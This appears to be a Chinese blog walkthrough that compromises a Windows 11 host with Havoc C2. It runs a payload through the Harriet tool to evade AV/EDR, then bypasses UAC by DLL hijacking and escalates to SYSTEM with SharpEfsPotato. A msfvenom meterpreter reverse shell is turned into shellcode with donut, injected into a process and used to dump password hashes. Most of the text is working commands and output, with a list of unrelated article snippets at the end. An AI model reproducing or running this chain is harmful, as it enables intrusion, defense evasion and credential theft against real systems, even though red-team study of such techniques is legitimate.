Havoc C2 上线Windows 11

news2024/12/28 1:59:15
1、环境配置

Windows11 更新到最新补丁(文章编写时间:‎2023‎年‎8‎月‎),安全软件打开

image-20230818230903532

Kali更新:

apt update -y && apt upgrade -y

安装设置Havoc

//下载项目
cd /opt && git clone https://github.com/HavocFramework/Havoc.git
//安装依赖包
sudo apt install -y git build-essential apt-utils cmake libfontconfig1 libglu1-mesa-dev libgtest-dev libspdlog-dev libboost-all-dev libncurses5-dev libgdbm-dev libssl-dev libreadline-dev libffi-dev libsqlite3-dev libbz2-dev mesa-common-dev qtbase5-dev qtchooser qt5-qmake qtbase5-dev-tools libqt5websockets5 libqt5websockets5-dev qtdeclarative5-dev golang-go qtbase5-dev libqt5websockets5-dev libspdlog-dev python3-dev libboost-all-dev mingw-w64 nasm

构建服务端:

cd /opt/Havoc/teamserver
go mod download golang.org/x/sys
go mod download github.com/ugorji/go
cd ..
make ts-build

启动服务端:

./havoc server --profile ./profiles/havoc.yaotl

image-20230818221203161

构建客户端:

make client-build

启动客户端:

./havoc client

单击“新建配置文件”使用默认凭据登录:“5spider:password1234”。

image-20230818223716591

# 2、设置监听

点击View---Listeners

image-20230818224124656

点击底部的Add

image-20230818224151338

设置新的监听器

image-20230818224710450

# 3、生成payload

点击Attack-->Payload

image-20230818225038384

选择监听器,设置系统架构和格式,然后点击Generate

image-20230818225308961

保存生成的Payload文件

image-20230818225556419

# 4、使用Harriet框架处理Payload绕过 AV/EDR
git clone https://github.com/assume-breach/Home-Grown-Red-Team.git
cd Home-Grown-Red-Team/Harriet 
sudo bash setup.sh
bash Harriet.sh

选择第一个 Create FUD EXE

image-20230818231037324

然后选择1. Fully-Automated AES Encryption (全自动AES加密)

image-20230818231202028

设置Shellcode文件路径

image-20230818231224363

输入生成的名字

image-20230818231428932

image-20230818231516596

Crypto 解决 pip install pycryptodome

image-20230818232638046

将文件复制到一个新的目录

─$ ls
DLL.sh  EXE.sh  Harriet  Harriet.sh  README.md  setup.sh  win11.exe                                                                                        
┌──(kali㉿kali)-[~/Home-Grown-Red-Team/Harriet]
└─$ mkdir web    
                                                                                                  
┌──(kali㉿kali)-[~/Home-Grown-Red-Team/Harriet]
└─$ cp win11.exe web/
                          

启动一个HTTP服务,方便Windows 11上访问和下载这个文件

└─$ cd web          
                                                                                                  
┌──(kali㉿kali)-[~/Home-Grown-Red-Team/Harriet/web]
└─$ python3 -m http.server 8080      
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
# 5、模拟上线

windows 11下载文件,并运行

image-20230818233137494

# 6、获得会话

image-20230818234109984

右键选择Interact 打开C2命令行窗口

image-20230818234225681

# 7、枚举

使用SharpUp脚本枚举提权向量。

git clone https://github.com/r3motecontrol/Ghostpack-CompiledBinaries.git

image-20230818234501224

通过dotnet命令在 Havoc 会话的内存中运行它。

dotnet inline-execute /home/kali/SharpUp.exe audit

image-20230818234747703

命令完成后,我们看到该用户是本地管理员!如果我们能绕过UAC,就可以获得一个高权限完整的反向 shell。

# 8、使用 DLL 劫持绕过Win 11 UAC

使用HighBorn脚本,生成恶意 DLL。在 HighBorn 目录中,打开 HighBorn.c 文件。

image-20230818235440908

把可执行文件替换为我们自己的路径

havoc中执行pwd获取文件路径

image-20230818235600817

image-20230818235702394

保存文件,然后编译它

sudo x86_64-w64-mingw32-gcc -shared -o secur32.dll HighBorn.c -lcomctl32 -Wl,-subsystem,windows  

需要使用HighBorn.exe bypass UAC ,在HighBorn目录中,我们可以使用基于LinuxC#编译器Mono-Complete编译它

sudo apt install mono-complete -y
mcs -out:HighBorn.exe HighBorn.cs

image-20230819001227482

编译之前,修改 HighBorn.cs中的dll下载地址

image-20230819001744883

在内存中运行 UAC Bypass

dotnet inline-execute /home/kali/HighBorn.exe

image-20230819002030940

然后回收到一个新的shell

image-20230819002103676

查看当前用户权限

image-20230819002529996

现在我们有一个高完整性信标, 我们可以使用 SharpEfsPotato 工具来获取system权限.你必须在Visual Studio上编译SharpEfsPotato。这是 git 链接。https://github.com/bugch3ck/SharpEfsPotato.git

编译完成后,在Havoc C2 会话内存中执行,使用-p指定二进制文件的位置

dotnet inline-execute /home/kali/SharpEfsPotato.exe -p C:\Users\jack\Downloads\win11.exe

image-20230819003724287

提权成功,获得一个system权限的shell

image-20230819003756870

# 9、利用Metasploit进行后渗透

通过注入一个meterpreter会话,进行hash转储。

msfvenom -p windows/x64/meterpreter_reverse_http LHOST=192.168.10.140 LPORT=7777 -f raw > /home/kali/output.bin

Harriet处理payload

image-20230819143008094

使用donut转为shellcode

git clone http://github.com/thewover/donut.git
cd donut
make
./donut -i ./msfpayload.exe

  [ Donut shellcode generator v1 (built Aug 19 2023 14:35:50)
  [ Copyright (c) 2019-2021 TheWover, Odzhan

  [ Instance type : Embedded
  [ Module file   : "./msfpayload.exe"
  [ Entropy       : Random names + Encryption
  [ File type     : EXE
  [ Target CPU    : x86+amd64
  [ AMSI/WDLP/ETW : continue
  [ PE Headers    : overwrite
  [ Shellcode     : "loader.bin"
  [ Exit          : Thread
                                   
cp loader.bin ~/msf.bin  

启动msfconsole ,设置监听

msf6 > use exploit/multi/handler 
[*] Using configured payload generic/shell_reverse_tcp
smsf6 exploit(multi/handler) > set payload windows/x64/meterpreter_reverse_http
payload => windows/x64/meterpreter_reverse_http
msf6 exploit(multi/handler) > set LHOST  192.168.10.140
LHOST => 192.168.10.140
msf6 exploit(multi/handler) > set LPORT 7777
LPORT => 7777
msf6 exploit(multi/handler) > run -j
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.
msf6 exploit(multi/handler) > 
[*] Started HTTP reverse handler on http://192.168.10.140:7777


通过Havoc注入shellcode

shellcode inject x64 PID# /home/kali/msf.bin
shellcode inject x64 844 /home/kali/msf.bin

image-20230819150950185

利用后渗透模块dump 用户hash

msf6 exploit(multi/handler) > sessions 

Active sessions
===============

  Id  Name  Type                     Information                   Connection
  --  ----  ----                     -----------                   ----------
  1         meterpreter x64/windows  NT AUTHORITY\SYSTEM @ WIN11-  192.168.10.140:7777 -> 192.16
                                     PC                            8.10.180:50480 (192.168.10.18
                                                                   0)

msf6 exploit(multi/handler) > sessions 1
[*] Starting interaction with 1...

meterpreter > background 
[*] Backgrounding session 1...
msf6 exploit(multi/handler) > use post/windows/gather/hashdump 
msf6 post(windows/gather/hashdump) > set session 1
session => 1
msf6 post(windows/gather/hashdump) > exploit 

[*] Obtaining the boot key...
[*] Calculating the hboot key using SYSKEY 1043c5689d3d7d604d0209dbd3ad9ee8...
[*] Obtaining the user list and keys...
[*] Decrypting user keys...
[*] Dumping password hints...

No users with password hints on this system

[*] Dumping password hashes...


Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:15e6c614c133e20a3e62994373849dee:::
jack:1001:aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::


[*] Post module execution completed

image-20230819151239800

参考文章:https://assume-breach.medium.com/home-grown-red-team-getting-system-on-windows-11-with-havoc-c2-cc4bb089d22

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2055845.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

百度 测试|测试开发 面试真题|面经 汇总

百度测开 开发测试工程师 提前批一二三面面经 事业群:MEG base:北京 一面:2022.8.12 时长:50min 自我介绍 个人项目,我的项目是围绕着学校课程的项目来的,面试官就让我介绍这门课讲了些什么 &#xf…

【vue】编辑器段落对应材料同步滚动交互

场景需求 编辑器段落对应显示材料编辑器滚动时,材料同步滚动编辑器段落无数据时,材料不显示 实现方法 编辑器与材料组件左右布局获取编辑器高度,材料高度与编辑器高度一致禁用材料组件的滚动事件获取编辑器段落距离顶部的位置,…

鸿蒙开发5.0【基于自定义注解和代码生成实现路由框架】

场景描述 在应用开发中无论是出于工程组织效率还是开发体验的考虑,开发者都需要对项目进行模块间解耦,此时需要构建一套用于模块间组件跳转、数据通信的路由框架。 业界常见的实现方式是在编译期生成路由表。 1. 实现原理及流程 在编译期通过扫描并解…

吴恩达机器学习-C2W3-应用机器学习的建议

在本实验中,您将探索评估和改进机器学习模型的技术。 1-调包 首先,让我们运行下面的单元格来导入在此任务中需要的所有包。 numpymatplotlibscikitlearntensorflow import numpy as np %matplotlib widget import matplotlib.pyplot as plt from skle…

模拟实现queue适配器【队列】【C++】

P. S.:以下代码均在VS2022环境下测试,不代表所有编译器均可通过。 P. S.:测试代码均未展示头文件stdio.h的声明,使用时请自行添加。 博主主页:LiUEEEEE                        …

私域经济的挖掘:多元渠道下的流量引爆方法

近年来,私域经济越来越受到品牌企业的青睐。基于个性化需求的私域市场,既有精准定位的成本优势,又有巨大的潜力空间。然而,想要把私域做成,其实也是充满了挑战,其中,怎样有效吸引流量&#xff0…

01、Redis入门:数据类型、基本操作、SpringDataRedis

Redis快速入门 Redis的常见命令和客户端使用 1.初识Redis Redis是一种键值型的NoSql数据库,这里有两个关键字: 键值型 NoSql 其中键值型,是指Redis中存储的数据都是以key、value对的形式存储,而value的形式多种多样&#xf…

错误信息“缺少msvcr120.dll”或“找不到msvcr120.dll”应该如何修复?几种方法快速修复

由于这个msvcr120.dll文件与应用程序的运行密切相关,任何与之相关的问题都可能导致应用程序无法正常运行。错误信息如“缺少msvcr120.dll”或“找不到msvcr120.dll”,通常出现在软件安装不正确或系统更新后。接下俩就教大家几种方法快速修复msvcr120.dll…

7 周岁自闭症儿童可以去普校上学吗?

对于许多自闭症儿童的家长来说,孩子能否去普通学校上学是一个至关重要的问题。而星贝育园给出了充满希望的答案。 星贝育园向家长郑重承诺,4 周岁之前开始干预可以 100%摘帽,即消除自闭症症状。在这里,为自闭症儿童提供个性化教学…

Spring源码解析(34)之Spring事务回滚流程

一、前言 在上一个篇章我们主要介绍了Spring事务的运行流程,也带着一步步debug看了整个事务的运行流程,但是还是欠缺了Spring事务的回滚的流程。 在上篇也主要介绍了Spring事务的传播特性,这里还是要看一下Spring事务的传播特性,因…

思博伦测试每秒最大新建、并发、吞吐

详细方法查看本文资源链接 一、最大新建测试说明 1、新建测试的主要目标是测试被测设备(DUT)的处理器能力。在单位时间内能够建立的连接数越多,说明被测设备的处理器的能力越强。 2、由于在测试过程中,我们只关心成功的建立TCP…

流动会场:定义新一代灵活空间的全新选择—轻空间

在当今快节奏的世界里,活动和会议的需求正变得越来越多样化和复杂化。无论是公司年会、大型宴会、还是各类演出和会议,场地的选择不仅需要满足功能需求,更要灵活、易于部署。正是在这样的背景下,“流动会场”这一创新概念应运而生…

反向沙箱是什么?如何使用反向沙箱保障上网安全

反向沙箱是什么? 反向沙箱是深信达的一种沙箱技术,又称SPN(Sandbox Proxy Network)沙箱。主要用于解决企业在安全上网过程中的风险问题。它通过在企业内部部署一个隔离的沙盒环境,实现安全的互联网访问,从而…

注意力机制(课程笔记)

一: 针对的问题 解决在循环卷积网络RNN模型中存在的信息瓶颈问题。 信息瓶颈: 举的是机器翻译的例子。在RNN中,Decoder的第一个输出取决于Encoder中的上一个输出,然后Decoder的其余输出都取决于上一个Decoder输出(也就…

使用Nexus3为containerd和docker配置镜像代理

1.Nexus3介绍: Nexus3(Nexus Repository Manager3)是一个用于存储、组织和管理软件组件(如 JAR文件、npm包、Docker镜像等)的仓库管理系统。它由Sonatype开发并维护。Nexus Repository Manger支持许多流行的包管理工具…

免费仿微信聊天工具盒子IM

盒子IM是一个仿微信实现的网页版聊天软件,不依赖任何第三方收费组件。后端采用springbootnetty实现,web端使用vue,移动端使用uniapp,支持私聊、群聊、离线消息、发送图片、文件、语音、emoji表情、视频聊天等功能。包含pc端和移动…

Redis 技术详解

一、Redis 基础 (一)为什么使用 Redis 速度快,因为数据存在内存中,类似于 HashMap,查找和操作的时间复杂度都是 O(1)。支持丰富数据类型,支持 string、list、set、Zset、hash 等。支持事务,操…

Go —— 反射

反射 反射是什么? 反射是运行时检查自身结构的机制反射是困惑的源泉。 反射特性与 interface 紧密相关。 接口 1. 类型 Go是静态类型语言,比如int、float32、[]byte,等等。每个变量都有一个静态类型,而且在编译时就确定了。…

自主智能体的未来:LangChain Agents如何实现复杂任务自动化

一、AI Agents 基础:ReAct 范式 在AI领域,智能体(Agents)指的是能够自主感知环境并采取行动以实现特定目标的系统。ReAct(Reasoning and Acting)范式是理解智能体的基础,它强调智能体在执行任务…

【YashanDB知识库】共享集群YAC换IP

【标题】共享集群YAC换IP 【需求分类】安装部署,配置变更 【关键字】安装部署,更换IP,运维,配置变更,高可用,YAC 【需求描述】客户需要将已经部署的YAC集群更换IP,从测试网段切换生产网段 【…